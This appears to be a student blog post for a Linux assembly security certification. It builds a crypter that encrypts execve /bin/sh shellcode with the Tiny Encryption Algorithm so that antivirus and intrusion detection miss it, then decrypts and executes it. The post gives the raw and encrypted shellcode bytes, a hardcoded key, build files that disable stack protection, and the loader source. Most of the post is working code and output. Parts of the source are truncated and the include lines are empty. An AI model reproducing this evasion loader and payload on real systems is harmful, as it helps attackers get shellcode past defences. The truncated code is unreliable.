In the last assignment of Securitytube Linux Assembly Expert 32-bit, I had to create a custom crpyter and test it with the execve-stack shellcode.
If we want to avoid AV and IDS systems, we have to transform the shellcode somehow into a non-recognizable format. AV and IDS uses pattern recognition methods to find well-known shellcodes. One way to avoid detection is encoding the shellcode. These encoders are simple algorithms implemented in assembly language. They might be ineffective. In this case we can use complex encryption algorithms implemented in a higher programming language.
I decided to use the Tiny Encryption Algorithm for this exercise. This is a simple algorithm, which uses a 128 bit key and encrypts/decrypts in 64 bit block.
I created a static library which has two methods, TEA_encrypt and TEA_decrypt. I also created two programs. One of them encrypts the execve-stack shellcode and prints the encrypted shellcode string. The other decrypts it and executes the dercypted shellcode. Both program uses the static library of TEA. I also created Makefile for each program to ease the build process.
1. libTEA.a static library
The source files of the static library
LIB=TEA
all: lib$(LIB).a
lib$(LIB).a: $(LIB).o
ar -cvq lib$(LIB).a $(LIB).o
$(LIB).o: $(LIB).c
gcc -c -Wall -m32 -fPIC $(LIB).c
list: lib$(LIB).a
ar -t lib$(LIB).a
clean:
rm -f $(LIB).o
rm -f lib$(LIB).a
#include
void TEA_encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
void TEA_decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
#include
void TEA_encrypt (uint32_t* v, uint32_t* k);
void TEA_decrypt (uint32_t* v, uint32_t* k);
The library can be build with the following:
make
2. execve-stack shellcode
This is the same shellcode I used in the Bind Shell and Reverse Shell. The shellcode can be build with the following:
make
The output of make:
nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
Size of shellcode:
text data bss dec hex filename
25 0 0 25 19 shellcode
Shellcode:
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
I copied the shellcode string into the encrypter program.
3. encrypt
PROG=encrypt
all: $(PROG)
$(PROG): $(PROG).c
gcc -m32 $(PROG).c -fno-stack-protector -z execstack -ggdb -o $(PROG) \
-I../TEA -L../TEA -lTEA
run: $(PROG)
./$(PROG)
debug: $(PROG)
gdb -q ./$(PROG)
clean:
rm -f $(PROG)
#include
#include
#include
#include "TEA.h"
#define BLOCK_SIZE 8
// shellcode, should be processed in 64 bit blocks
unsigned char pShellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
// 128 bit key
unsigned char pKey[] = "sup3rs3cr3tp4ss1";
void printByteArray(unsigned char* byteArray, int size)
{
int i;
for (i=0; i
As the TEA algorithm encrypts in 64 bit blocks, I pad the original shellcode with zero bytes.
The program can be build and run with:
make
make run
The output:
Original shellcode: \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Original shellcode size: 25
Encrypted shellcode: \x63\x21\xeb\x6a\x81\x1b\x06\x2f\x23\x03\x5b\xb2\xfe\xfc\xd6\x3f\x79\xda\x02\x63\xf3\x0d\xfb\x76\x07\x0c\xba\xae\x4b\xf2\xef\xb2
Encrypted shellcode size: 32
I copied the encrypted shellcode string into the decrypt_and_exec
4. decrypt_and_exec
The Makefile is the same as in the encrypt.
#include
#include
#include
#include "TEA.h"
#define BLOCK_SIZE 8
// shellcode, should be processed in 64 bit blocks
unsigned char pEncryptedShellcode[] =
"\x63\x21\xeb\x6a\x81\x1b\x06\x2f\x23\x03\x5b\xb2\xfe\xfc\xd6\x3f\x79\xda\x02\x63\xf3\x0d\xfb\x76\x07\x0c\xba\xae\x4b\xf2\xef\xb2";
// 128 bit key
unsigned char pKey[] = "sup3rs3cr3tp4ss1";
void printByteArray(unsigned char* byteArray, int size)
{
int i;
for (i=0; i
The program can be build and run with:
make
make run
The decrypter program executes the shellcode:
As we can see, the original shellcode is padded with zero bytes.
* * * * *
The source code can be found on github:
https://github.com/sh3llc0d3r1337/SLAE32-crypter
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-691